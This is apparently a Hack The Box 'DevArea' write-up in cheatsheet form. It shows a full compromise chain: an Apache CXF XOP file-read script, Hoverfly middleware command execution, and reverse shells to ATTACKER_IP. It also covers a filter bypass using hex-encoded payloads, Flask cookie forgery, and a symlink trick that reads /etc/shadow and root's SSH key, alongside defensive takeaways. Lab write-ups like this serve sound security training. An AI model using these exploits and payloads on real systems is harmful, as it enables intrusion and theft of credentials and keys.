HTB DevArea Technical Cheatsheet
Attack-Path Summary
External reconnaissance
↓
Anonymous FTP access
↓
Download employee-service.jar
↓
Reverse-engineer JAR with JADX
↓
Identify Apache CXF 3.2.14 SOAP service
↓
CVE-2022-46364 XOP/MTOM arbitrary file read
↓
Read systemd units and /proc process command lines
↓
Recover Hoverfly credentials
↓
Authenticate to Hoverfly 1.11.3
↓
CVE-2025-54123 middleware command injection
↓
Shell as dev_ryan
↓
Discover localhost SysWatch Flask application
↓
Read world-readable /etc/syswatch.env
↓
Forge Flask session cookie
↓
Bypass weak service-name filter
↓
Command injection as syswatch
↓
Abuse root-run SysWatch log reader
↓
Two-hop symlink validation bypass
↓
Read root SSH private key
↓
SSH as root
Target Profile
| Item | Observation |
|---|---|
| Operating system | Ubuntu 24.04 |
| FTP | vsftpd 3.0.5 with anonymous access |
| SSH | OpenSSH |
| Port 80 | Apache static site |
| Port 8080 | Jetty-hosted Java SOAP service |
| Port 8500 | Hoverfly proxy listener |
| Port 8888 | Hoverfly dashboard and admin API |
| Local port 7777 | Flask/Werkzeug SysWatch application |
| Initial user | dev_ryan |
| Service account | syswatch |
| Root path | Unsafe symlink validation in a sudo-enabled log reader |
| Main vulnerabilities | CVE-2022-46364 and CVE-2025-54123 |
3. Reconnaissance
1 Full TCP Scan
sudo nmap -p- --reason --min-rate 10000 TARGET_IP
Expected attack surface:
21/tcp FTP
22/tcp SSH
80/tcp HTTP
8080/tcp HTTP / Jetty
8500/tcp Hoverfly proxy
8888/tcp Hoverfly dashboard
2 Service and Default-Script Scan
sudo nmap -p 21,22,80,8080,8500,8888 -sCV TARGET_IP
High-value findings
- Anonymous FTP authentication
- Redirect to
devarea.htb - Jetty version on TCP 8080
- Hoverfly dashboard on TCP 8888
- A proxy-only listener on TCP 8500
- Multiple web stacks on one host
3 Add the Required Hostname
echo "TARGET_IP devarea.htb" | sudo tee -a /etc/hosts
4 Multi-Port Virtual-Host Fuzzing
Test each HTTP port independently:
ffuf \
-u http://TARGET_IP/ \
-H "Host: FUZZ.devarea.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs BASELINE_SIZE
Repeat for:
8080
8500
8888
Hint
Different applications may implement host routing independently. A virtual host absent on port 80 could still exist on another listener.
4. Web-Service Mapping
1 Port 80 — Static Apache Site
Inspect:
curl -I http://devarea.htb/
Content discovery:
feroxbuster -u http://devarea.htb -x html
Interpretation
A site where all buttons lead nowhere and only static assets are found is usually low priority. Record it and move to the more unusual services.
2 Port 8080 — Jetty
Initial request:
curl -i http://devarea.htb:8080/
A default 404 does not prove the server has no application. Hidden routes may be recoverable from deployment artifacts, source code, or configuration.
3 Ports 8500 and 8888 — Hoverfly
curl -i http://devarea.htb:8888/
curl -i http://devarea.htb:8500/
Hoverfly normally separates:
| Port | Function |
|---|---|
| 8888 | Administrative API and dashboard |
| 8500 | HTTP simulation proxy |
A response stating that the server only accepts proxy requests is a product fingerprint.
5. Anonymous FTP Enumeration
1 Log In
ftp devarea.htb
Credentials:
Username: anonymous
Password: blank or any email-like value
2 Enumerate
ls
cd pub
ls
3 Download Files in Binary Mode
binary
get employee-service.jar
Alternative:
wget ftp://anonymous:@devarea.htb/pub/employee-service.jar
Operational lesson
Anonymous FTP often exposes deployment packages, backups, source archives, configuration exports, and build artifacts. Treat every binary as a potential map of a hidden service.
6. Java JAR Reverse Engineering
1 Basic Triage
file employee-service.jar
unzip -l employee-service.jar | less
Extract:
mkdir jar-extracted
cd jar-extracted
jar xf ../employee-service.jar
Search dependency metadata:
find . -iname 'pom.xml' -o -iname 'pom.properties'
grep -RniE 'artifactId|groupId|version' .
2 Decompile With JADX
jadx-gui employee-service.jar
CLI alternative:
jadx -d employee-service-src employee-service.jar
3 High-Value Questions
Determine:
- Main class
- Listening address
- Application route
- Framework and dependency versions
- Publicly exposed methods
- Expected data structures
- File, URL, XML, or deserialization handling
- Hardcoded credentials or secrets
4 Key Findings
The main class starts a JAX-WS service on:
http://0.0.0.0:8080/employeeservice
WSDL:
http://devarea.htb:8080/employeeservice?wsdl
The service exposes a method similar to:
String submitReport(Report report);
The report contains:
confidential
content
department
employeeName
The bundled Apache CXF version is:
3.2.14
7. SOAP and WSDL Enumeration
1 Retrieve the WSDL
curl -s http://devarea.htb:8080/employeeservice?wsdl \
| xmllint --format -
Read the WSDL for
- Target namespace
- Operation name
- Parameter order
- Parameter types
- SOAP version
- Endpoint location
- Response structure
2 Baseline SOAP Request
Create soap.xml:
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:dev="http://devarea.htb/">
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>false</confidential>
<content>test content</content>
<department>IT</department>
<employeeName>operator</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
Send:
curl -s \
http://devarea.htb:8080/employeeservice \
-H 'Content-Type: text/xml' \
--data-binary @soap.xml \
| xmllint --format -
Methodology lesson
Never begin with an exploit payload. First produce a valid request and record the normal response format.
8. CVE-2022-46364 — Apache CXF XOP/MTOM File Read
1 Vulnerability Concept
Apache CXF processes XOP references inside MTOM multipart SOAP requests.
Expected XOP reference:
<xop:Include href="cid:attachment-id"/>
Vulnerable versions also resolve URL schemes such as:
file://
http://
https://
This can produce:
- Server-side request forgery
- Local file reads
- Internal-service access
- Cloud metadata access where reachable
2 Affected Version Logic
The target uses Apache CXF 3.2.14, which predates the fixed branches.
Always verify the exact component version from:
pom.properties
pom.xml
MANIFEST.MF
dependency metadata
application startup output
3 XOP File-Read Element
<employeeName>
<xop:Include
xmlns:xop="http://www.w3.org/2004/08/xop/include"
href="file:///etc/passwd"/>
</employeeName>
A plain text/xml request fails because the XOP processing layer is not activated.
4 Required Multipart/Related Structure
Create file-read.xml:
--MIME_boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <root.message@cxf.apache.org>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:dev="http://devarea.htb/">
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>false</confidential>
<content>test content</content>
<department>IT</department>
<employeeName>
<xop:Include
xmlns:xop="http://www.w3.org/2004/08/xop/include"
href="file:///etc/passwd"/>
</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--MIME_boundary--
Send:
curl -s \
http://devarea.htb:8080/employeeservice \
-H 'Content-Type: multipart/related; type="application/xop+xml"; boundary="MIME_boundary"' \
--data-binary @file-read.xml \
| xmllint --format -
Critical detail
Use:
--data-binary
Avoid:
-d
The MIME parser depends on exact line breaks and boundary formatting.
5 Decode the Reflected File
The file content may be returned as Base64 inside the SOAP response.
Example extraction pipeline:
curl -s \
http://devarea.htb:8080/employeeservice \
-H 'Content-Type: multipart/related; type="application/xop+xml"; boundary="MIME_boundary"' \
--data-binary @file-read.xml \
| xmllint --xpath "//*[local-name()='return']/text()" - \
| cut -d' ' -f4 \
| tr -d '.' \
| base64 -d
Robust parsing advice
The exact field position can change. A better script should:
- Extract the
<return>node. - Match a Base64-looking substring.
- Validate its length.
- Decode with error handling.
- Preserve binary output when needed.
9. Reusable File-Read Script
#!/usr/bin/env bash
set -euo pipefail
target="${1:?Usage: $0 <absolute-file-path>}"
url="http://devarea.htb:8080/employeeservice"
boundary="MIME_boundary"
payload=$(cat <<EOF
--${boundary}
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <root.message@cxf.apache.org>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>false</confidential>
<content>test content</content>
<department>IT</department>
<employeeName><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file://${target}"/></employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--${boundary}--
EOF
)
response=$(curl -s \
"$url" \
-H "Content-Type: multipart/related; type=\"application/xop+xml\"; boundary=\"${boundary}\"" \
--data-binary "$payload")
encoded=$(printf '%s' "$response" \
| xmllint --xpath "//*[local-name()='return']/text()" - 2>/dev/null \
| grep -oE '[A-Za-z0-9+/]{20,}={0,2}' \
| head -n1)
if [[ -z "$encoded" ]]; then
echo "[-] No Base64 payload recovered" >&2
exit 1
fi
printf '%s' "$encoded" | base64 -d
Usage:
chmod +x file_read.sh
./file_read.sh /etc/passwd
10. Arbitrary File-Read Methodology
1 Start With Predictable Files
/etc/passwd
/etc/hostname
/etc/os-release
/proc/self/cmdline
/proc/self/environ
2 Enumerate Web and Service Configuration
/etc/apache2/sites-enabled/*.conf
/etc/nginx/sites-enabled/*
/etc/systemd/system/*.service
/lib/systemd/system/*.service
/opt/*/
/var/www/*
3 Enumerate User Files
/home/USERNAME/.profile
/home/USERNAME/.bashrc
/home/USERNAME/.ssh/authorized_keys
/home/USERNAME/.ssh/id_ed25519
/home/USERNAME/.ssh/id_rsa
File permissions still apply. The vulnerable service reads with the privileges of its process account.
4 High-Value /proc Files
/proc/self/cmdline
/proc/self/environ
/proc/PID/cmdline
/proc/PID/environ
/proc/PID/status
/proc/PID/cwd
Why /proc matters
Service credentials are frequently exposed through:
- Command-line arguments
- Environment variables
- Working-directory paths
- Runtime configuration
- Parent-process relationships
11. Process Enumeration Through File Read
1 Read the Current Command Line
./file_read.sh /proc/self/cmdline | tr '\0' ' '
2 Read the Current Environment
./file_read.sh /proc/self/environ | tr '\0' '\n'
3 Brute-Force Process IDs
#!/usr/bin/env bash
set -u
for pid in $(seq 1 9999); do
result=$(./file_read.sh "/proc/${pid}/cmdline" 2>/dev/null \
| tr '\0' ' ' || true)
if [[ -n "${result//$'\n'/}" ]]; then
printf '%05d %s\n' "$pid" "$result"
fi
done
What to hunt for
-password
--password
-token
--token
-secret
--secret
-key
--key
-username
--username
DATABASE_URL
API_KEY
DevArea finding
Hoverfly was started with credentials directly in its process arguments.
12. Reading systemd Unit Files
Once a service path or name is known, test:
/etc/systemd/system/SERVICE.service
/lib/systemd/system/SERVICE.service
/usr/lib/systemd/system/SERVICE.service
Typical high-value directives:
User=
Group=
WorkingDirectory=
Environment=
EnvironmentFile=
ExecStart=
ExecStartPre=
A unit can disclose:
- Credentials
- Service account
- Binary path
- Configuration path
- Environment files
- Listening arguments
Security lesson
Secrets should not be placed in ExecStart command-line arguments. Process listings and /proc can expose them.
13. Hoverfly Enumeration
1 Authenticate
Dashboard:
http://devarea.htb:8888/
Credentials may be recovered from:
/proc/PID/cmdline
systemd units
shell history
configuration files
deployment scripts
2 Determine the Version
Use:
Dashboard footer
API endpoint
Binary version command
VERSION.txt
Package metadata
Target version:
1.11.3
14. CVE-2025-54123 — Hoverfly Middleware RCE
1 Vulnerability Concept
The authenticated middleware API accepts attacker-controlled values resembling:
{
"binary": "/bin/bash",
"script": "id"
}
Hoverfly writes the supplied script to a temporary file and invokes:
binary temporary_script_file
Insufficient validation allows command execution with the Hoverfly process privileges.
2 Endpoint
PUT /api/v2/hoverfly/middleware
3 Proof of Execution
{
"binary": "/bin/bash",
"script": "id"
}
Send through Burp Repeater or curl with the authenticated session.
Generic request:
curl -i \
-X PUT \
http://devarea.htb:8888/api/v2/hoverfly/middleware \
-H 'Content-Type: application/json' \
-H 'Cookie: SESSION_COOKIE_HERE' \
--data '{"binary":"/bin/bash","script":"id"}'
Important response behavior
An error such as HTTP 422 does not mean the command failed. Inspect the response body for captured standard output or standard error.
4 Reverse Shell
Listener:
nc -lvnp 443
Payload body:
{
"binary": "/bin/bash",
"script": "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
}
Resulting shell:
dev_ryan
15. Shell Stabilization
script /dev/null -c bash
Then:
Ctrl+Z
Local terminal:
stty raw -echo
fg
Reset:
reset
Set terminal properties:
export TERM=xterm
export SHELL=/bin/bash
stty rows 40 columns 120
16. Local Enumeration as dev_ryan
1 Baseline
id
whoami
hostname
uname -a
cat /etc/os-release
2 Sudo
sudo -l
DevArea exposes a root-run management script:
/opt/syswatch/syswatch.sh
Some subcommands are denied, but most remain available.
3 Filesystem
ls -la /opt
find /opt -maxdepth 3 -type f -ls 2>/dev/null
Notable locations:
/opt/EmployeeService
/opt/HoverFly
/opt/syswatch
4 Access Control Lists
A trailing + in ls -l output indicates additional ACLs:
ls -ld /opt/syswatch
getfacl /opt/syswatch
Lesson
Traditional Unix mode bits do not show the complete permission model. Use getfacl when access contradicts the visible owner/group/other permissions.
5 Local Listeners
ss -lntup
netstat -lntup
Target:
127.0.0.1:7777
6 Processes
ps auxww
ps -ef --forest
The local service runs as:
syswatch
17. Accessing a Localhost-Only Web Application
1 SSH Local Port Forwarding
After adding or obtaining an SSH key:
ssh \
-L 7777:127.0.0.1:7777 \
-i PRIVATE_KEY \
dev_ryan@devarea.htb
Browse:
http://127.0.0.1:7777/
2 CLI Alternative
curl -i http://127.0.0.1:7777/
3 SOCKS Alternative
ssh -D 1080 -i PRIVATE_KEY dev_ryan@devarea.htb
Then configure the browser or ProxyChains to use:
127.0.0.1:1080
18. Custom Application Source Review
A source archive was available in the user’s home directory:
syswatch-v1.zip
Extract:
unzip syswatch-v1.zip -d syswatch-src
cd syswatch-src
find . -maxdepth 3 -type f -print
1 Review Order
- Installation script
- Service units
- Environment files
- Main application entry point
- Authentication logic
- Routes accepting user input
- Shell invocation
- Privileged management scripts
- Writable directories
- Timers and cron jobs
2 Search Patterns
grep -RniE \
'subprocess|os\.system|shell=True|eval|exec|secret_key|password|session|sudo|chmod|chown|ln -s|readlink|realpath' \
.
19. World-Readable Environment File
The setup script created:
/etc/syswatch.env
and assigned unsafe permissions.
Inspect:
ls -l /etc/syswatch.env
cat /etc/syswatch.env
Likely secrets:
SYSWATCH_SECRET_KEY
SYSWATCH_ADMIN_PASSWORD
SYSWATCH_LOG_DIR
SYSWATCH_DB_PATH
SYSWATCH_PLUGIN_DIR
SYSWATCH_BACKUP_DIR
Security lesson
Environment files containing secrets should generally be:
root-owned
mode 0600 or 0640
restricted to the exact service group
20. Flask Session Forgery
1 Flask Cookie Model
Default Flask sessions are:
- Client-side
- Signed
- Not encrypted
- Trusted if the signature is valid
If the Flask secret_key is exposed, an attacker can create arbitrary valid session data.
2 Determine Required Session Keys
Review the authentication code:
session["user_id"] = row[0]
session["username"] = username
Authorization check:
if not session.get("user_id"):
return redirect(url_for("login"))
Minimal useful session:
{
"user_id": 1,
"username": "admin"
}
3 Forge With flask-unsign
Install:
python3 -m pip install flask-unsign
Generate:
flask-unsign \
--sign \
--cookie '{"user_id":1,"username":"admin"}' \
--secret 'FLASK_SECRET'
Set the resulting value as:
session=FORGED_COOKIE
4 Forge With Python
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = "FLASK_SECRET"
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
cookie = serializer.dumps({
"user_id": 1,
"username": "admin",
})
print(cookie)
Run:
python3 generate_cookie.py
Key lesson
A strong random secret provides no protection once it is world-readable.
21. SysWatch Command Injection
1 Vulnerable Pattern
service = request.form.get("service", "").strip()
subprocess.run(
[f"systemctl status --no-pager {service}"],
shell=True,
capture_output=True,
text=True,
timeout=10,
)
The application:
- Builds one command string.
- Enables
shell=True. - Inserts user-controlled data.
- Relies on a blacklist regex.
This is a classic command-injection design flaw.
2 Weak Filter
Conceptual pattern:
re.compile(r"^[^;/\&.<>\rA-Z]*$")
Blocked examples:
;
/
&
.
<
>
carriage return
uppercase letters
Not blocked:
|
$()
backticks
spaces
lowercase commands
3 Proof of Concept
service=$(id)
or:
service=x|id
Why the pipe works
The intended systemctl command fails or produces output, then the shell pipes it into the attacker-selected command.
22. Filter-Bypass Methodology
1 Identify the Actual Shell
Python:
subprocess.run(..., shell=True)
normally invokes:
/bin/sh
On Ubuntu, /bin/sh commonly points to Dash.
Check:
ls -l /bin/sh
Consequence
Bash-only syntax may fail unless Bash is explicitly re-invoked.
2 Generate a Slash Without Typing /
Method 1:
$(pwd|cut -c1)
The first character of an absolute working directory is /.
Example:
$(pwd|cut -c1)tmp$(pwd|cut -c1)payload
Method 2, after explicitly invoking Bash:
$'\x2f'
3 Avoid Blocked Uppercase Characters
Base64 output may contain uppercase characters. Hex uses only:
0-9
a-f
Encode:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' \
| xxd -p -c 0
Decode and execute:
service=x|echo HEX_PAYLOAD|xxd -r -p|bash
4 Staged Payload
Create:
cat >/tmp/rev <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1
EOF
chmod +x /tmp/rev
Trigger using slash reconstruction:
service=x|$(pwd|cut -c1)tmp$(pwd|cut -c1)rev
Resulting shell:
syswatch
23. Why Blacklists Fail
A blacklist must account for:
- Alternate shell metacharacters
- Command substitution
- Pipes
- Newlines
- Encodings
- Environment expansion
- Globbing
- Shell differences
- Unicode normalization
- Executable lookup through
PATH - Argument injection
Correct design:
subprocess.run(
["systemctl", "status", "--no-pager", validated_service],
shell=False,
check=False,
capture_output=True,
text=True,
)
Also use a strict allowlist:
ALLOWED_SERVICES = {
"apache2",
"ssh",
"hoverfly",
}
24. SysWatch Privilege-Escalation Enumeration
1 Writable Paths
find /opt/syswatch -writable -ls 2>/dev/null
High-value directories:
/opt/syswatch/logs
/opt/syswatch/backup
2 Root-Run Components
Inspect:
systemctl cat syswatch-monitor.service
systemctl cat syswatch-monitor.timer
The monitor job runs as root on a timer.
Red herring analysis
The root timer executes plugin scripts, but the plugin directory is not writable. Do not force a path that fails its prerequisites.
3 Sudo-Enabled Script
sudo -l
sudo /opt/syswatch/syswatch.sh --help
Review each allowed action independently:
web
web-status
plugin
plugins
logs
logs is the productive path because it reads files as root.
25. Unsafe Symlink Validation
1 Vulnerable Logic
The root script:
- Accepts a filename.
- Builds a path under a writable log directory.
- Detects a symlink.
- Uses
ls -l | awk '{print $NF}'to extract its target. - Validates only that immediate target.
- Uses
-fandcat, which follow additional symlinks.
Conceptual vulnerable code:
target=$(ls -l "$path" | awk '{print $NF}')
if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
resolved="$LOG_DIR/$target"
if [ -f "$resolved" ]; then
cat "$resolved"
fi
fi
2 Root Cause
The code checks only one symlink hop.
Chain:
flag.log → redirect → /root/.ssh/id_ed25519
The first target, redirect, passes the filename regex. The later file check and cat follow the second link to the protected file.
3 Demonstration
ln -s b a
ln -s /etc/passwd b
Unsafe inspection:
ls -l a | awk '{print $NF}'
Output:
b
Safe resolution:
readlink -f a
realpath a
Output:
/etc/passwd
26. Two-Hop Symlink Exploit
Run as the account controlling the writable log directory:
cd /opt/syswatch/logs
ln -s redirect flag.log
ln -s /etc/shadow redirect
Verify:
ls -l flag.log redirect
Read as root through the sudo-enabled command:
sudo /opt/syswatch/syswatch.sh logs flag.log
1 Read the Root Authorized Key
ln -sf redirect flag.log
ln -sf /root/.ssh/authorized_keys redirect
sudo /opt/syswatch/syswatch.sh logs flag.log
This confirms the root SSH directory and key type.
2 Read the Root Private Key
ln -sf redirect flag.log
ln -sf /root/.ssh/id_ed25519 redirect
sudo /opt/syswatch/syswatch.sh logs flag.log \
> /tmp/root-id_ed25519
On the attacker system, save the recovered key:
chmod 600 root-id_ed25519
ssh -i root-id_ed25519 root@devarea.htb
27. Safer Symlink Handling
1 Canonicalize the Full Path
resolved=$(realpath -e -- "$path")
or:
resolved=$(readlink -f -- "$path")
2 Enforce Directory Containment
log_root=$(realpath -e -- "$LOG_DIR")
resolved=$(realpath -e -- "$path")
case "$resolved" in
"$log_root"/*) ;;
*)
echo "Path escapes log directory" >&2
exit 1
;;
esac
3 Refuse Any Symlink
Where symlinks are not required:
if [[ -L "$path" ]]; then
echo "Symlinks are not allowed" >&2
exit 1
fi
Race-condition warning
Check-then-open logic may still be vulnerable to time-of-check/time-of-use attacks. High-assurance code should use safe file-descriptor APIs such as:
openat()
O_NOFOLLOW
directory file descriptors
28. Tool Reference
| Tool | Use |
|---|---|
nmap |
Full-port and service enumeration |
ffuf |
Virtual-host fuzzing |
feroxbuster |
Directory and file discovery |
ftp |
Anonymous FTP enumeration |
wget |
Noninteractive FTP download |
file |
Artifact type identification |
jar / unzip
|
JAR extraction |
jadx-gui |
Java decompilation and code browsing |
grep |
Dependency and source-code searching |
curl |
SOAP, API, and web requests |
xmllint |
WSDL and SOAP parsing |
base64 |
Decode reflected file content |
| Burp Proxy | Capture authenticated requests |
| Burp Repeater | Modify Hoverfly and SysWatch requests |
nc |
Reverse-shell listener |
script |
Pseudo-terminal allocation |
ps |
Process enumeration |
/proc |
Process command-line and environment discovery |
ss / netstat
|
Local service discovery |
getfacl |
ACL inspection |
sqlite3 |
Local application-database review |
flask-unsign |
Flask session decoding and signing |
xxd |
Lowercase-safe hex encoding and decoding |
readlink / realpath
|
Canonical path and symlink analysis |
ssh -L |
Local port forwarding |
sudo -l |
Privileged-command discovery |
29. Reusable Attack Checklist
Recon
- [ ] Scan every TCP port
- [ ] Run service detection
- [ ] Record redirects and hostnames
- [ ] Identify every HTTP listener
- [ ] Test anonymous FTP
- [ ] Download all exposed artifacts
- [ ] Fuzz each web port independently
Java and SOAP
- [ ] Decompile the JAR
- [ ] Find the main class
- [ ] Identify the service route
- [ ] Extract dependency versions
- [ ] Retrieve the WSDL
- [ ] Build a valid SOAP request
- [ ] Research the exact Apache CXF version
- [ ] Test XOP only inside a multipart MTOM request
- [ ] Preserve MIME line endings
- [ ] Decode reflected Base64
File Read
- [ ] Read
/etc/passwd - [ ] Read
/proc/self/cmdline - [ ] Read
/proc/self/environ - [ ] Enumerate
/proc/PID/cmdline - [ ] Read systemd service files
- [ ] Search for command-line credentials
- [ ] Test user home-directory access
- [ ] Record files blocked by Unix permissions
Hoverfly
- [ ] Recover credentials
- [ ] Confirm the version
- [ ] Authenticate to the dashboard
- [ ] Capture the session
- [ ] Test the middleware API with
id - [ ] Inspect error responses for stdout
- [ ] Trigger a reverse shell
- [ ] Stabilize the terminal
SysWatch
- [ ] Run
sudo -l - [ ] Inspect ACLs
- [ ] Enumerate localhost listeners
- [ ] Recover source archives
- [ ] Review installation scripts
- [ ] Inspect environment-file permissions
- [ ] Recover the Flask secret
- [ ] Forge a session cookie
- [ ] Inspect
shell=Truecalls - [ ] Map blocked and allowed characters
- [ ] Reconstruct blocked characters
- [ ] Obtain a shell as the service account
Root
- [ ] Identify writable directories used by root
- [ ] Review every sudo-enabled subcommand
- [ ] Ignore root timers without a writable execution path
- [ ] Audit symlink resolution
- [ ] Test multi-hop symlinks
- [ ] Read a low-risk root file first
- [ ] Confirm the root SSH key type
- [ ] Read the matching private key
- [ ] Apply mode
0600 - [ ] Connect over SSH
30. High-Value Hints
-
Multiple stacks imply multiple independent attack surfaces. Apache, Jetty, Go, and Flask should be treated as separate applications.
-
A blank Jetty root is not an empty server. Deployment artifacts can disclose the exact hidden context path.
-
Build artifacts are often better than banner grabbing. A JAR exposes classes, routes, method signatures, and precise dependency versions.
-
Read the WSDL before touching SOAP payloads. It eliminates guesswork around namespaces, operations, and parameter order.
-
XOP requires the correct transport format. An
<xop:Include>element inside ordinary XML does not automatically invoke MTOM handling. -
Use
--data-binaryfor MIME payloads. Quiet newline normalization can invalidate multipart parsing. -
Arbitrary file read is a credential-discovery primitive. Systemd units and
/procoften produce faster results than blindly guessing private keys. -
Process arguments are not secret storage. Credentials passed to command-line flags may be exposed to local users.
-
Error responses can prove execution. A status code such as
422may include command output. -
Localhost services become reachable after the first shell. Repeat network enumeration locally.
-
ACLs override simplistic permission assumptions. A directory may look world-readable while explicitly denying one user.
-
Source archives convert black-box work into white-box review. Prioritize them over blind fuzzing.
-
Flask cookies are signed, not encrypted. A leaked secret means authentication state can be forged.
-
Password failure does not end the authentication path. Review the session model and authorization checks.
-
shell=Trueplus string interpolation is the vulnerability. Blacklist quality is secondary. -
Know whether the shell is Dash or Bash. Payload syntax depends on the interpreter.
-
Hex is valuable when uppercase characters are blocked. It remains compatible with lowercase-only filters.
-
The first slash can be derived from
pwd. Shell expansion creates characters the application tried to ban. -
Root timers are not automatically exploitable. Confirm control over an executed file or input.
-
Never parse symlinks with
ls. Usereadlinkorrealpath. -
Validate the final canonical target, not the first hop. A benign-looking symlink can point to another symlink.
-
Root file read often becomes root shell. Prioritize SSH keys, credentials, service tokens, and privileged configuration.
31. Defensive Takeaways
FTP
- Disable anonymous FTP unless explicitly required.
- Do not publish deployment artifacts.
- Remove backups and build packages from public shares.
- Monitor access to source and binary artifacts.
Java and Apache CXF
- Upgrade Apache CXF to a fixed release.
- Disable unnecessary MTOM processing.
- Restrict URL schemes accepted in XOP references.
- Block access to local files and internal URLs.
- Log unusual
multipart/relatedSOAP requests. - Alert on
file://inside XOP elements.
Service Secrets
- Never place passwords in process arguments.
- Use protected credential files or secret managers.
- Restrict
/procvisibility where operationally appropriate. - Run services with least privilege.
Hoverfly
- Upgrade beyond vulnerable versions.
- Disable middleware-management endpoints unless required.
- Bind administrative interfaces to trusted networks.
- Enforce strong authentication.
- Audit changes to middleware configuration.
- Alert on shell binaries used as middleware interpreters.
Flask
- Protect the Flask secret with restrictive file permissions.
- Rotate the secret after suspected exposure.
- Do not rely on client-side session data for sensitive authorization without server-side validation.
- Avoid default fallback secrets such as
change-me. - Consider server-side sessions for high-value applications.
Command Execution
- Never use
shell=Truewith attacker-controlled strings. - Pass argument arrays directly.
- Use strict allowlists.
- Validate semantic service names rather than filtering characters.
- Drop service privileges and constrain execution with MAC policies.
Privileged Scripts
- Minimize
NOPASSWDsudo rules. - Permit exact commands and exact argument patterns.
- Avoid root file readers over user-writable directories.
- Reject symlinks or canonicalize the full target.
- Use file-descriptor-based APIs to prevent races.
- Audit all root scripts that consume files from writable paths.
32. Minimal Command Sequence
# Recon
sudo nmap -p- --reason --min-rate 10000 TARGET_IP
sudo nmap -p 21,22,80,8080,8500,8888 -sCV TARGET_IP
echo "TARGET_IP devarea.htb" | sudo tee -a /etc/hosts
# FTP
ftp devarea.htb
# anonymous → cd pub → binary → get employee-service.jar
# Reverse engineering
jadx-gui employee-service.jar
# WSDL
curl -s http://devarea.htb:8080/employeeservice?wsdl \
| xmllint --format -
# CXF file read
./file_read.sh /etc/passwd
./file_read.sh /proc/self/cmdline | tr '\0' ' '
./file_read.sh /proc/self/environ | tr '\0' '\n'
# Hoverfly
# Authenticate to http://devarea.htb:8888/
# PUT /api/v2/hoverfly/middleware
# {"binary":"/bin/bash","script":"id"}
# Reverse-shell listener
nc -lvnp 443
# Local enumeration
sudo -l
getfacl /opt/syswatch
ss -lntup
ps auxww
# Tunnel SysWatch
ssh -L 7777:127.0.0.1:7777 \
-i PRIVATE_KEY \
dev_ryan@devarea.htb
# Flask cookie forgery
flask-unsign \
--sign \
--cookie '{"user_id":1,"username":"admin"}' \
--secret 'FLASK_SECRET'
# Command injection
# service=x|id
# Hex payload
echo 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' \
| xxd -p -c 0
# Root file read through two-hop symlinks
cd /opt/syswatch/logs
ln -sf redirect flag.log
ln -sf /root/.ssh/id_ed25519 redirect
sudo /opt/syswatch/syswatch.sh logs flag.log \
> /tmp/root-id_ed25519
# Root SSH
chmod 600 root-id_ed25519
ssh -i root-id_ed25519 root@devarea.htb
0 comments